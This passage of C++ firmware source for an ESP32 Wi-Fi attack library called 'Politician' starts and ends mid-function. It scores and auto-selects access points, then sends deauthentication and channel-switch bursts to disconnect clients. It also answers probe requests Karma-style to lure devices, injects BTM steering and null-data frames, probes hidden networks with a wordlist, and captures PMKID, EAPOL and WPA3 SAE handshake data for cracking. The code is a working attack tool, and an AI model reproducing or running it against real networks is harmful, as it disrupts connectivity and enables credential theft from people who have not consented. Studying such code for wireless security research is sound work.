    if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) != pdTRUE) return;
 
    _processFishing();
 
    uint32_t nowDiag = millis();
    if (nowDiag - _lastDiagMs >= 30000) {
        _lastDiagMs = nowDiag;
        _log("[Stats] total=%lu mgmt=%lu data=%lu eapol=%lu pmkid=%lu sae=%lu caps=%lu fail_pmkid=%lu fail_csa=%lu drop=%lu rb_max=%lu aps=%d lock=%s\n",
            (unsigned long)_stats.total, (unsigned long)_stats.mgmt,
            (unsigned long)_stats.data,  (unsigned long)_stats.eapol,
            (unsigned long)_stats.pmkid_found, (unsigned long)_stats.sae_found,
            (unsigned long)_stats.captures,
            (unsigned long)_stats.failed_pmkid, (unsigned long)_stats.failed_csa,
            (unsigned long)_stats.dropped, (unsigned long)_stats.rb_max,
            getApCount(),
            _probeLocked ? "probe" : _m1Locked ? "m1" : "none");
    }
 
    _expireSessions(_cfg.session_timeout_ms);
 
    if (_cfg.ap_expiry_ms > 0) {
        uint32_t now_ap = millis();
        for (int i = 0; i < MAX_AP_CACHE; i++) {
            if (_apCache[i].flags.active && (now_ap - _apCache[i].last_seen_ms) > _cfg.ap_expiry_ms)
                _apCache[i].flags.active = false;
        }
    }
 
    if (_autoTarget && !_autoTargetActive && _fishState == FISH_IDLE && !_probeLocked && !_m1Locked) {
        int best = -1; int best_score = -9999;
        for (int i = 0; i < MAX_AP_CACHE; i++) {
            if (!_apCache[i].flags.active || _isCaptured(_apCache[i].bssid)) continue;
            if (_cfg.skip_immune_networks && _apCache[i].flags.is_wpa3_only) continue;
            if (_apCache[i].enc < 2) continue; // Skip open/WEP
            if (_cfg.min_beacon_count > 0 && _apCache[i].beacon_count < _cfg.min_beacon_count) continue;
            if (_cfg.require_active_clients && !_apCache[i].flags.has_active_clients) continue;
            
            int score = _apCache[i].rssi;
            if (_targetScoreCb) {
                ApRecord ap_rec;
                memcpy(ap_rec.bssid, _apCache[i].bssid, 6);
                memcpy(ap_rec.ssid,  _apCache[i].ssid,  33);
                ap_rec.ssid_len       = _apCache[i].ssid_len;
                ap_rec.enc            = _apCache[i].enc;
                ap_rec.channel        = _apCache[i].channel;
                ap_rec.rssi           = _apCache[i].rssi;
                ap_rec.wps_enabled    = _apCache[i].flags.wps_enabled;
                ap_rec.pmf_capable    = _apCache[i].flags.pmf_capable;
                ap_rec.pmf_required   = _apCache[i].flags.pmf_required;
                ap_rec.total_attempts = _apCache[i].total_attempts;
                ap_rec.captured       = false; // already checked above
                ap_rec.ft_capable     = _apCache[i].flags.ft_capable;
                ap_rec.first_seen_ms  = _apCache[i].first_seen_ms;
                ap_rec.last_seen_ms   = _apCache[i].last_seen_ms;
                memcpy(ap_rec.country, _apCache[i].country, 3);
                ap_rec.beacon_interval = _apCache[i].beacon_interval;
                ap_rec.max_rate_mbps   = _apCache[i].max_rate_mbps;
                ap_rec.is_hidden       = _apCache[i].flags.is_hidden;
                ap_rec.sta_count       = _apCache[i].sta_count;
                ap_rec.chan_util       = _apCache[i].chan_util;
                
                score = _targetScoreCb(ap_rec, getVendor(ap_rec.bssid));
            }
            
            if (score > best_score) { best_score = score; best = i; }
        }
        if (best >= 0) {
            _autoTargetActive = true;
            setTarget(_apCache[best].bssid, _apCache[best].channel);
            _log("[AutoTarget] → %02X:%02X:%02X:%02X:%02X:%02X SSID=%s rssi=%d score=%d\n",
                _apCache[best].bssid[0], _apCache[best].bssid[1], _apCache[best].bssid[2],
                _apCache[best].bssid[3], _apCache[best].bssid[4], _apCache[best].bssid[5],
                _apCache[best].ssid, _apCache[best].rssi, best_score);
        }
    }
 
    if (!_hopping) {
        xSemaphoreGiveRecursive(_lock);
        return;
    }
    
    uint32_t now = millis();
 
    if (_probeLocked && _fishState == FISH_IDLE && now >= _probeLockEndMs) {
        _probeLocked = false;
        _lastHopMs   = now;
    }
 
    if (_m1Locked && now >= _m1LockEndMs) {
        _m1Locked  = false;
        _lastHopMs = now;
    }
 
    bool locked = _m1Locked || _probeLocked || _hasTarget;
    uint32_t current_dwell = _cfg.hop_dwell_ms;
    if (_cfg.smart_hopping && !locked) {
        // Evaluate early exit or extended dwell
        if (!_channelTrafficSeen && (now - _lastHopMs >= _cfg.hop_min_dwell_ms)) {
            current_dwell = _cfg.hop_min_dwell_ms;
        } else if (_channelTrafficSeen) {
            current_dwell = _cfg.hop_max_dwell_ms;
        }
    }
 
    if (!locked && (now - _lastHopMs >= current_dwell)) {
        const uint8_t *seq   = (_customChannelCount > 0) ? _customChannels : HOP_SEQ;
        uint8_t        count = (_customChannelCount > 0) ? _customChannelCount : HOP_COUNT;
        _hopIndex  = (_hopIndex + 1) % count;
        _channel   = seq[_hopIndex];
        esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
        _lastHopMs = now;
        _channelTrafficSeen = false;
        
        // Process inject queue for the new channel
        for (int i = 0; i < MAX_INJECT_QUEUE; i++) {
            if (_injectQueue[i].active && _injectQueue[i].channel == _channel) {
                esp_wifi_80211_tx(WIFI_IF_STA, (void*)_injectQueue[i].payload, _injectQueue[i].len, false);
                _log("[Inject] Transmitted queued %d bytes on ch%d\n", _injectQueue[i].len, _channel);
                _injectQueue[i].active = false;
                if (_injectQueue[i].lock_ms > 0) {
                    _m1Locked = true;
                    _m1LockEndMs = millis() + _injectQueue[i].lock_ms;
                }
            }
        }
    }
 
    xSemaphoreGiveRecursive(_lock);
}
 
// ─── Static promiscuous callback (IRAM) ──────────────────────────────────────
void IRAM_ATTR Politician::_promiscuousCb(void *buf, wifi_promiscuous_pkt_type_t type) {
    const wifi_promiscuous_pkt_t *pkt = (const wifi_promiscuous_pkt_t *)buf;
    uint16_t total_len = sizeof(wifi_pkt_rx_ctrl_t) + pkt->rx_ctrl.sig_len;
 
    for (uint8_t i = 0; i < POLITICIAN_MAX_INSTANCES; i++) {
        Politician *inst = _instances[i];
        if (!inst || !inst->_active || !inst->_rb) continue;
        if (xRingbufferSendFromISR(inst->_rb, buf, total_len, NULL) != pdTRUE) {
            inst->_stats.dropped++;
        }
    }
}
 
void Politician::_workerTask(void *pvParameters) {
    Politician *self = (Politician *)pvParameters;
    while (true) {
        size_t size = 0;
        wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)xRingbufferReceive(self->_rb, &size, portMAX_DELAY);
        if (pkt) {
            // Infer frame type from 802.11 Frame Control field
            uint16_t fc = pkt->payload[0] | (pkt->payload[1] << 8);
            wifi_promiscuous_pkt_type_t type = WIFI_PKT_MGMT;
            if ((fc & 0x0C) == 0x08) type = WIFI_PKT_DATA;
            else if ((fc & 0x0C) == 0x04) type = WIFI_PKT_CTRL;
 
            if (self->_lock && xSemaphoreTakeRecursive(self->_lock, portMAX_DELAY) == pdTRUE) {
                // Monitor ringbuffer high-water mark
                size_t free_rb = 0;
                vRingbufferGetInfo(self->_rb, NULL, NULL, NULL, NULL, &free_rb);
                uint32_t used_rb = 16384 - (uint32_t)free_rb;
                if (used_rb > self->_stats.rb_max) self->_stats.rb_max = used_rb;
 
                self->_handleFrame(pkt, type);
                xSemaphoreGiveRecursive(self->_lock);
            }
            vRingbufferReturnItem(self->_rb, (void *)pkt);
        }
    }
}
 
void Politician::_handleFrame(const wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type) {
    if (!_active) return;
    if (!pkt) return;
    uint16_t sig_len = pkt->rx_ctrl.sig_len;
    if (sig_len < sizeof(ieee80211_hdr_t)) return;
 
    _stats.total++;
    _lastRssi  = (int8_t)pkt->rx_ctrl.rssi;
    _rxChannel = pkt->rx_ctrl.channel;
    if (_rxChannel > 0 && _rxChannel < 200) _stats.channel_frames[_rxChannel]++;
 
    const ieee80211_hdr_t *hdr = (const ieee80211_hdr_t *)pkt->payload;
    uint16_t fc    = hdr->frame_ctrl;
    uint16_t ftype = fc & FC_TYPE_MASK;
    uint8_t  fsub  = fc & FC_SUBTYPE_MASK;
 
    // --- Packet Logging Filter Hook ---
    if (_packetCb && _cfg.capture_filter != 0) {
        bool log_it = false;
        if (ftype == FC_TYPE_MGMT) {
            if (fsub == MGMT_SUB_BEACON && (_cfg.capture_filter & LOG_FILTER_BEACONS)) log_it = true;
            if ((fsub == MGMT_SUB_PROBE_REQ || fsub == MGMT_SUB_PROBE_RESP) && (_cfg.capture_filter & LOG_FILTER_PROBES)) log_it = true;
            if (fsub == MGMT_SUB_PROBE_REQ && (_cfg.capture_filter & LOG_FILTER_PROBE_REQ)) log_it = true;
            if ((fsub == MGMT_SUB_DEAUTH || fsub == MGMT_SUB_DISASSOC) && (_cfg.capture_filter & LOG_FILTER_MGMT_DISRUPT)) log_it = true;
        } else if (ftype == FC_TYPE_DATA && (_cfg.capture_filter & LOG_FILTER_HANDSHAKES)) {
            uint16_t hdr_len = sizeof(ieee80211_hdr_t);
            uint8_t subtype = fsub >> 4;
            bool is_qos = (subtype >= 8 && subtype <= 11);
            if (is_qos) {
                hdr_len += 2;
                if (fc & FC_ORDER_MASK) hdr_len += 4;
            }
            if (sig_len >= hdr_len + EAPOL_MIN_FRAME_LEN) {
                const uint8_t *llc = pkt->payload + hdr_len;
                if (llc[0] == 0xAA && llc[1] == 0xAA && llc[2] == 0x03 &&
                    llc[6] == EAPOL_ETHERTYPE_HI && llc[7] == EAPOL_ETHERTYPE_LO) {
                    log_it = true;
                }
            }
        }
        if (log_it) _packetCb(pkt->payload, sig_len, _lastRssi, _rxChannel, pkt->rx_ctrl.timestamp);
    }
    // ----------------------------------
 
    if (type == WIFI_PKT_MGMT && ftype == FC_TYPE_MGMT) {
        _stats.mgmt++;
        uint16_t payload_off = sizeof(ieee80211_hdr_t);
        if (sig_len > payload_off) {
            _handleMgmt(hdr, pkt->payload + payload_off, sig_len - payload_off, _lastRssi);
        }
    } else if (type == WIFI_PKT_DATA && ftype == FC_TYPE_DATA) {
        _stats.data++;
        uint8_t  subtype    = (fc & FC_SUBTYPE_MASK) >> 4;
        uint16_t hdr_len    = sizeof(ieee80211_hdr_t);
        bool     is_qos     = (subtype >= 8 && subtype <= 11);
        if (is_qos) {
            hdr_len += 2;
            if (fc & FC_ORDER_MASK) hdr_len += 4;
        }
        if (sig_len > hdr_len) {
            _handleData(hdr, pkt->payload + hdr_len, sig_len - hdr_len, _lastRssi);
        }
    } else {
        _stats.ctrl++;
    }
}
 
void Politician::_handleMgmt(const ieee80211_hdr_t *hdr, const uint8_t *payload,
                              uint16_t len, int8_t rssi) {
    uint8_t subtype = (hdr->frame_ctrl & FC_SUBTYPE_MASK);
 
    if (subtype == MGMT_SUB_PROBE_REQ) {
        if (_probeReqCb || _fpHook) {
            char    fp_ssid[33] = {};
            uint8_t fp_ssid_len = 0;
            _parseSsid(payload, len, fp_ssid, fp_ssid_len);
            if (_probeReqCb) {
                ProbeRequestRecord rec;
                memset(&rec, 0, sizeof(rec));
                memcpy(rec.client, hdr->addr2, 6);
                rec.channel  = _rxChannel;
                rec.rssi     = rssi;
                rec.rand_mac = (rec.client[0] & 0x02) != 0;
                memcpy(rec.ssid, fp_ssid, fp_ssid_len);
                rec.ssid_len = fp_ssid_len;
                _probeReqCb(rec);
            }
            if (_fpHook) _fpHook(hdr->addr2, fp_ssid, fp_ssid_len, _rxChannel, rssi, payload, len);
        }
#ifndef POLITICIAN_NO_KARMA
        if (_karmaEnabled) {
            char    karma_ssid[33] = {};
            uint8_t karma_ssid_len = 0;
            _parseSsid(payload, len, karma_ssid, karma_ssid_len);
            // Only respond to named probes (not wildcard) from non-locally-administered MACs
            // (Optionally skip randomized MACs since they won't auto-associate)
            if (karma_ssid_len > 0) {
                _sendKarmaResponse(hdr->addr2, karma_ssid, karma_ssid_len, _rxChannel, rssi);
            }
        }
#endif
        return;
    }
 
    if (subtype == MGMT_SUB_DEAUTH || subtype == MGMT_SUB_DISASSOC) {
        if (_disruptCb) {
            DisruptRecord rec;
            memset(&rec, 0, sizeof(rec));
            memcpy(rec.src,   hdr->addr2, 6);
            memcpy(rec.dst,   hdr->addr1, 6);
            memcpy(rec.bssid, hdr->addr3, 6);
            rec.reason   = (len >= 2) ? (((uint16_t)payload[0]) | ((uint16_t)payload[1] << 8)) : 0;
            rec.subtype  = subtype;
            rec.channel  = _rxChannel;
            rec.rssi     = rssi;
            rec.rand_mac = (rec.src[0] & 0x02) != 0;
            _disruptCb(rec);
        }
        return;
    }
 
    // Parse both Beacons and Probe Responses.
    // Sniffing Probe Responses automatically enables Active Decloaking
    // of Hidden Networks when clients reconnect following a CSA/Deauth attack.
    if (subtype == MGMT_SUB_BEACON || subtype == MGMT_SUB_PROBE_RESP) {
        _stats.beacons++;
        _channelTrafficSeen = true;
        if (len < 12) return;
 
        const uint8_t *ie     = payload + 12;
        uint16_t       ie_len = (len > 12) ? len - 12 : 0;
 
        uint8_t beacon_ch = _rxChannel;
        {
            uint16_t pos = 0;
            while (pos + 2 <= ie_len) {
                uint8_t tag  = ie[pos];
                uint8_t tlen = ie[pos + 1];
                if (pos + 2 + tlen > ie_len) break;
                if (tag == 3 && tlen == 1) { beacon_ch = ie[pos + 2]; break; }
                pos += 2 + tlen;
            }
        }
 
        ApRecord ap;
        memcpy(ap.bssid, hdr->addr3, 6);
        ap.channel = beacon_ch;
        ap.rssi    = rssi;
        _parseSsid(ie, ie_len, ap.ssid, ap.ssid_len);
        ap.enc     = _classifyEnc(ie, ie_len);
        if (ap.enc == 0 && (hdr->frame_ctrl & 0x4000)) ap.enc = 1; // WEP Privacy bit
 
        // WPS IE: vendor-specific tag 0xDD, OUI 00:50:F2, type 0x04
        ap.wps_enabled = false;
        {
            uint16_t wp = 0;
            while (wp + 2 <= ie_len) {
                uint8_t wtag = ie[wp], wlen = ie[wp + 1];
                if (wp + 2 + wlen > ie_len) break;
                if (wtag == 221 && wlen >= 4 &&
                    ie[wp+2]==0x00 && ie[wp+3]==0x50 && ie[wp+4]==0xF2 && ie[wp+5]==0x04) {
                    ap.wps_enabled = true; break;
                }
                wp += 2 + wlen;
            }
        }
 
        if (ap.rssi < _cfg.min_rssi) return;
 
        if (_fpHook) _fpHook(ap.bssid, ap.ssid, ap.ssid_len, beacon_ch, rssi, ie, ie_len);
 
        // Execute targeting filter
        if (_filterCb && !_filterCb(ap)) return;
 
        uint8_t effMask = _getAttackMask(ap.bssid);
 
        bool is_wpa3_only = (ap.enc >= 3) && _detectWpa3Only(ie, ie_len);
        bool pmf_capable = false, pmf_required = false;
        if (ap.enc >= 3) _detectPmfFlags(ie, ie_len, pmf_capable, pmf_required);
        ap.pmf_capable  = pmf_capable;
        ap.pmf_required = pmf_required;
        uint8_t ft_capable   = (ap.enc >= 3) && _detectFt(ie, ie_len);
        ap.ft_capable        = ft_capable;
 
        // BSS Load IE (Tag 11) and Interworking IE (Tag 107)
        uint16_t sta_count = 0;
        uint8_t  chan_util = 0;
        uint8_t  venue_group = 0;
        uint8_t  venue_type = 0;
        uint8_t  network_type = 0;
        {
            uint16_t pos = 0;
            while (pos + 2 <= ie_len) {
                uint8_t tag  = ie[pos];
                uint8_t tlen = ie[pos + 1];
                if (pos + 2 + tlen > ie_len) break;
                if (tag == 11 && tlen >= 5) {
                    sta_count = ((uint16_t)ie[pos + 2]) | ((uint16_t)ie[pos + 3] << 8);
                    chan_util = ie[pos + 4];
                } else if (tag == 107 && tlen >= 1) {
                    network_type = ie[pos + 2] & 0x0F;
                    if (tlen >= 3) {
                        venue_group = ie[pos + 3];
                        venue_type  = ie[pos + 4];
                    }
                }
                pos += 2 + tlen;
            }
        }
 
        ap.venue_group = venue_group;
        ap.venue_type = venue_type;
        ap.network_type = network_type;
        ap.captured = _isCaptured(ap.bssid);
 
        ApCacheEntry* entry = _cacheAp(ap.bssid, ap.ssid, ap.ssid_len, ap.enc, beacon_ch, rssi,
                 is_wpa3_only, ap.wps_enabled, pmf_capable, pmf_required, ft_capable,
                 sta_count, chan_util, venue_group, venue_type, network_type);
 
        // Parse beacon interval (fixed field bytes 8-9) and max legacy data rate
        if (entry) {
            uint16_t bint = (len >= 10) ? (((uint16_t)payload[8]) | ((uint16_t)payload[9] << 8)) : 0;
            uint8_t  maxr = 0;
            uint16_t pos  = 0;
            while (pos + 2 <= ie_len) {
                uint8_t tag = ie[pos], tlen = ie[pos + 1];
                if (pos + 2 + tlen > ie_len) break;
                if (tag == 1 || tag == 50) { // Supported Rates / Extended Supported Rates
                    for (uint8_t ri = 0; ri < tlen; ri++) {
                        uint8_t r = (ie[pos + 2 + ri] & 0x7F); // 500 kbps units
                        if (r > maxr) maxr = r;
                    }
                }
                pos += 2 + tlen;
            }
            if (bint > 0) entry->beacon_interval = bint;
            if (maxr > 0) entry->max_rate_mbps   = maxr / 2; // convert to Mbps
        }
 
        // Parse IE 7 (Country) and store in cache
        if (entry) {
            uint16_t pos = 0;
            while (pos + 2 <= ie_len) {
                uint8_t tag = ie[pos], tlen = ie[pos + 1];
                if (pos + 2 + tlen > ie_len) break;
                if (tag == 7 && tlen >= 2) {
                    entry->country[0] = ie[pos + 2];
                    entry->country[1] = ie[pos + 3];
                    entry->country[2] = '\0';
                    break;
                }
                pos += 2 + tlen;
            }
        }
 
        // VHT/HE capability parsing (IEs 45, 191, 192, 255+ext35)
        {
            bool    is_vht    = false;
            bool    is_he     = false;
            uint8_t chan_width = 0; // default: 20MHz (pre-HT)
            uint16_t pos = 0;
            while (pos + 2 <= ie_len) {
                uint8_t tag  = ie[pos];
                uint8_t tlen = ie[pos + 1];
                if (pos + 2 + tlen > ie_len) break;
                if (tag == 45 && tlen >= 2) {
                    // HT Capabilities: bit 1 of byte 0 = 40MHz supported
                    if ((ie[pos + 2] & 0x02) && chan_width < 1) chan_width = 1;
                } else if (tag == 191 && tlen >= 4) {
                    // VHT Capabilities IE: bits 2-3 of byte 0 = Supported Channel Width Set
                    is_vht = true;
                    if (chan_width < 2) chan_width = 2; // VHT minimum is 80MHz
                    uint8_t sup_cw = (ie[pos + 2] >> 2) & 0x03;
                    if (sup_cw == 1 && chan_width < 3)      chan_width = 3; // 160MHz
                    else if (sup_cw == 2 && chan_width < 4) chan_width = 4; // 80+80MHz
                } else if (tag == 192 && tlen >= 3) {
                    // VHT Operation IE: byte 0 = Channel Width field
                    if (!is_vht) is_vht = true;
                    uint8_t vht_op_cw = ie[pos + 2];
                    if (vht_op_cw == 1 && chan_width < 2) chan_width = 2; // 80MHz
                    else if (vht_op_cw == 2 && chan_width < 3) chan_width = 3; // 160MHz
                    else if (vht_op_cw == 3 && chan_width < 4) chan_width = 4; // 80+80MHz
                } else if (tag == 255 && tlen >= 1 && ie[pos + 2] == 35) {
                    // Extended Element: ext ID 35 = HE Capabilities
                    is_he = true;
                }
                pos += 2 + tlen;
            }
            ap.is_vht    = is_vht;
            ap.is_he     = is_he;
            ap.chan_width = chan_width;
            if (entry) {
                entry->flags.is_vht = is_vht;
                entry->flags.is_he  = is_he;
                entry->chan_width   = chan_width;
                entry->pairwise_cipher = _classifyPairwiseCipher(ie, ie_len);
            }
        }
 
        // HE (Wi-Fi 6) and VHT + PMF-Required: management frames are MIC-protected;
        // deauth and CSA injections will be dropped by the client. Skip those attacks
        // and go straight to PMKID fishing + BTM steering.
        if (pmf_required && (ap.is_he || ap.is_vht)) {
            effMask &= ~(uint8_t)(ATTACK_CSA | ATTACK_DEAUTH);
            _log("[Attack] PMF+%s on %02X:%02X:%02X:%02X:%02X:%02X — DEAUTH/CSA suppressed\n",
                ap.is_he ? "HE" : "VHT",
                ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]);
        }
 
        if (_apFoundCb) {
            bool threshold_ok = true;
            if (_cfg.min_beacon_count > 0 && entry) {
                threshold_ok = (entry->beacon_count >= _cfg.min_beacon_count);
            }
            if (threshold_ok) _apFoundCb(ap);
        }
 
        // Execute active probing for hidden networks (wildcard or wordlist)
        if (ap.ssid_len == 0 && _cfg.probe_hidden_interval_ms > 0) {
            if (entry && (millis() - entry->last_hidden_probe_ms >= _cfg.probe_hidden_interval_ms)) {
                entry->last_hidden_probe_ms = millis();
                if (_probeWordlist && _probeWordlistLen > 0) {
                    const char *w = _probeWordlist[entry->probe_word_idx % _probeWordlistLen];
                    entry->probe_word_idx++;
                    _sendProbeRequest(ap.bssid, w, (uint8_t)strnlen(w, 32));
                } else {
                    _sendProbeRequest(ap.bssid);
                }
            }
        }
 
        if (ap.ssid_len > 0 && beacon_ch > 0) {
            if (_hasTarget && memcmp(_targetBssid, ap.bssid, 6) != 0) return;
 
            // --- CLIENT WAKE-UP STIMULATION ---
            if (((hdr->frame_ctrl & FC_SUBTYPE_MASK) == MGMT_SUB_BEACON) && (effMask & ATTACK_STIMULATE)) {
                for (int i = 0; i < MAX_AP_CACHE; i++) {
                    if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, ap.bssid, 6) == 0) {
                        if (!_apCache[i].flags.has_active_clients && (millis() - _apCache[i].last_stimulate_ms > 15000)) {
                            _apCache[i].last_stimulate_ms = millis();
                            
                            // Hardware-Level Null Data Injection (FromDS=1, MoreData=1)
                            // Triggered exactly on the microsecond the sleeping client's radio turns on
                            uint8_t wake_null[24] = {
                                0x48, 0x22, 0x00, 0x00, // FC: Null Function, ToDS=0, FromDS=1, MoreData=1
                                0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // DA: Broadcast
                                ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], // BSSID
                                ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], // SA
                                0x00, 0x00 // Sequence
                            };
                            esp_wifi_80211_tx(WIFI_IF_STA, wake_null, sizeof(wake_null), false);
                            _log("[Stimulate] Beacon-Sync Null Injection fired at %02X:%02X:%02X:%02X:%02X:%02X\n",
                                ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]);
                        }
                        break;
                    }
                }
            }
        }
 
        bool canFish = ap.enc >= 3 && ap.ssid_len > 0 && !_isCaptured(ap.bssid);
        if (_hasTarget) canFish = canFish && memcmp(ap.bssid, _targetBssid, 6) == 0;
 
        if (canFish && _fishState == FISH_IDLE) {
            if (effMask & ATTACK_PMKID) {
                for (int i = 0; i < MAX_AP_CACHE; i++) {
                    if (!_apCache[i].flags.active) continue;
                    if (memcmp(_apCache[i].bssid, ap.bssid, 6) != 0) continue;
 
                    if (_cfg.skip_immune_networks && _apCache[i].flags.is_wpa3_only) break;
                    if (_apCache[i].enc == ENC_OWE) break; // OWE uses DH key exchange — no PMKID to capture
                    if (_cfg.min_beacon_count > 0 && _apCache[i].beacon_count < _cfg.min_beacon_count) break;
                    if (_cfg.require_active_clients && !_apCache[i].flags.has_active_clients) break;
 
                    // Exponential backoff: double the window per failed attempt, cap at 8 minutes
                    uint32_t base_ms = _hasTarget ? 0u
                        : _apCache[i].flags.has_active_clients ? 15000u
                        : (uint32_t)_cfg.probe_aggr_interval_s * 1000u;
                    uint8_t  att = _apCache[i].total_attempts;
                    uint32_t throttle_ms = (base_ms == 0u) ? 0u
                        : (uint32_t)((uint64_t)base_ms << (att < 4u ? att : 4u));
                    if (throttle_ms > 480000u) throttle_ms = 480000u;
                    uint32_t elapsed = millis() - _apCache[i].last_probe_ms;
                    if (elapsed >= throttle_ms) {
                        _apCache[i].last_probe_ms = millis();
                        _startFishing(ap.bssid, ap.ssid, ap.ssid_len, beacon_ch);
                    }
                    break;
                }
            } else if (effMask & (ATTACK_CSA | ATTACK_DEAUTH)) {
                // Immunity check applies regardless of which attack method is active
                for (int i = 0; i < MAX_AP_CACHE; i++) {
                    if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, ap.bssid, 6) == 0) {
                        if (_cfg.skip_immune_networks && _apCache[i].flags.is_wpa3_only) return;
                        if (_apCache[i].enc == ENC_OWE) return; // OWE — no capturable handshake
                        if (_cfg.min_beacon_count > 0 && _apCache[i].beacon_count < _cfg.min_beacon_count) return;
                        if (_cfg.require_active_clients && !_apCache[i].flags.has_active_clients) return;
                        break;
                    }
                }
                // Find a known STA for unicast deauth — prefer persistent client records
                memset(_fishSta, 0, 6);
                for (int ci = 0; ci < MAX_AP_CACHE; ci++) {
                    if (_apCache[ci].flags.active && memcmp(_apCache[ci].bssid, ap.bssid, 6) == 0 && _apCache[ci].known_sta_count > 0) {
                        memcpy(_fishSta, _apCache[ci].known_stas[0], 6); break;
                    }
                }
                static const uint8_t zero_mac[6] = {};
                if (memcmp(_fishSta, zero_mac, 6) == 0) {
                    for (int s = 0; s < MAX_SESSIONS; s++) {
                        if (_sessions[s].flags.active && _sessions[s].flags.has_m2 && memcmp(_sessions[s].bssid, ap.bssid, 6) == 0) {
                            memcpy(_fishSta, _sessions[s].sta, 6); break;
                        }
                    }
                }
                memcpy(_fishBssid, ap.bssid, 6); memcpy(_fishSsid, ap.ssid, ap.ssid_len); _fishSsid[ap.ssid_len] = '\0';
                _fishSsidLen = ap.ssid_len; _fishChannel = beacon_ch; _fishStartMs = millis();
                for (int ci = 0; ci < MAX_AP_CACHE; ci++) {
                    if (_apCache[ci].flags.active && memcmp(_apCache[ci].bssid, ap.bssid, 6) == 0) {
                        _apCache[ci].last_attack_ms = _fishStartMs;
                        break;
                    }
                }
                _fishState = FISH_CSA_WAIT;
                _csaSecondBurstSent = false;
                if (effMask & ATTACK_CSA) _sendCsaBurst();
                const uint8_t *known_sta = (memcmp(_fishSta, zero_mac, 6) != 0) ? _fishSta : nullptr;
                _csaFallbackMs = 0;
                if (_disconnectStrategy == STRATEGY_SIMULTANEOUS) {
                    if (effMask & ATTACK_DEAUTH) _sendDeauthBurst((effMask & ATTACK_CSA) ? _cfg.csa_deauth_count : _cfg.deauth_burst_count, known_sta);
                } else if (_disconnectStrategy == STRATEGY_AUTO_FALLBACK) {
                    if ((effMask & ATTACK_CSA) && (effMask & ATTACK_DEAUTH)) {
                        // Trigger fallback Deauth *before* the second CSA burst (which happens at 2000ms)
                        _csaFallbackMs = millis() + 1000; 
                    } else if (effMask & ATTACK_DEAUTH) {
                        _sendDeauthBurst(_cfg.deauth_burst_count, known_sta);
                    }
                }
                _probeLocked = true; _probeLockEndMs = millis() + _cfg.csa_wait_ms;
                _log("[Attack] Starting CSA/Deauth on %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s ch%d\n",
                    ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], ap.ssid_len, ap.ssid, beacon_ch);
            }
            // BTM fires independently — can combine with or replace CSA/Deauth
            if ((effMask & ATTACK_BTM) && !_isCaptured(ap.bssid)) {
                for (int ci = 0; ci < MAX_AP_CACHE; ci++) {
                    if (_apCache[ci].flags.active && memcmp(_apCache[ci].bssid, ap.bssid, 6) == 0) {
                        for (int s = 0; s < _apCache[ci].known_sta_count; s++) {
                            for (int b = 0; b < _cfg.btm_burst_count; b++) {
                                _sendBtmRequest(ap.bssid, _apCache[ci].known_stas[s]);
                            }
                        }
                        _log("[BTM] Sent %d requests to %d clients on %02X:%02X:%02X:%02X:%02X:%02X\n",
                            _cfg.btm_burst_count, _apCache[ci].known_sta_count,
                            ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]);
                        break;
                    }
                }
            }
            // ----------------------------------
        }
    } else if (subtype == MGMT_SUB_ASSOC_REQ) {
        _recordClientForAp(hdr->addr1, hdr->addr2, rssi);
        if (_fpHook && len >= 4) {
            const uint8_t *ie_start = payload + 4;
            uint16_t ie_len = (len > 4) ? len - 4 : 0;
            char assoc_ssid[33] = {};
            uint8_t assoc_ssid_len = 0;
            _parseSsid(ie_start, ie_len, assoc_ssid, assoc_ssid_len);
            _fpHook(hdr->addr2, assoc_ssid, assoc_ssid_len, _rxChannel, rssi, ie_start, ie_len);
        }
    } else if (subtype == MGMT_SUB_AUTH) {
        if (len < 6) return;
        uint16_t auth_alg = ((uint16_t)payload[0]) | ((uint16_t)payload[1] << 8);
        uint16_t auth_seq = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
        uint16_t status   = ((uint16_t)payload[4]) | ((uint16_t)payload[5] << 8);
 
        if (auth_alg == 0) { // Open System (Standard WPA2 fishing path)
            if (auth_seq == 2 && !_fishAuthLogged) {
                _fishAuthLogged = true;
                _log("[Auth] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
                    hdr->addr2[0], hdr->addr2[1], hdr->addr2[2],
                    hdr->addr2[3], hdr->addr2[4], hdr->addr2[5], status);
            }
        } else if (auth_alg == 3) { // SAE (WPA3)
            if (status == 0) {
                _stats.sae_found++;
                _log("[SAE] %s from %02X:%02X:%02X:%02X:%02X:%02X rssi=%d\n",
                    (auth_seq == 1) ? "Commit" : (auth_seq == 2) ? "Confirm" : "Auth",
                    hdr->addr2[0], hdr->addr2[1], hdr->addr2[2],
                    hdr->addr2[3], hdr->addr2[4], hdr->addr2[5], rssi);
                
                if (_eapolCb) {
                    HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
                    rec.type = CAP_SAE; rec.channel = _rxChannel; rec.rssi = rssi;
                    memcpy(rec.bssid, hdr->addr3, 6); memcpy(rec.sta, hdr->addr2, 6);
                    _lookupSsid(rec.bssid, rec.ssid, rec.ssid_len);
                    _lookupEnc(rec.bssid, rec.enc);
                    _lookupCipher(rec.bssid, rec.cipher);
                    
                    // Store the raw SAE authentication body (after the 6-byte fixed header)
                    uint16_t sae_body_len = (len > 6) ? len - 6 : 0;
                    if (sae_body_len > 256) sae_body_len = 256;
                    memcpy(rec.sae_data, payload + 6, sae_body_len);
                    rec.sae_len = sae_body_len;
                    rec.sae_seq = (uint8_t)auth_seq;
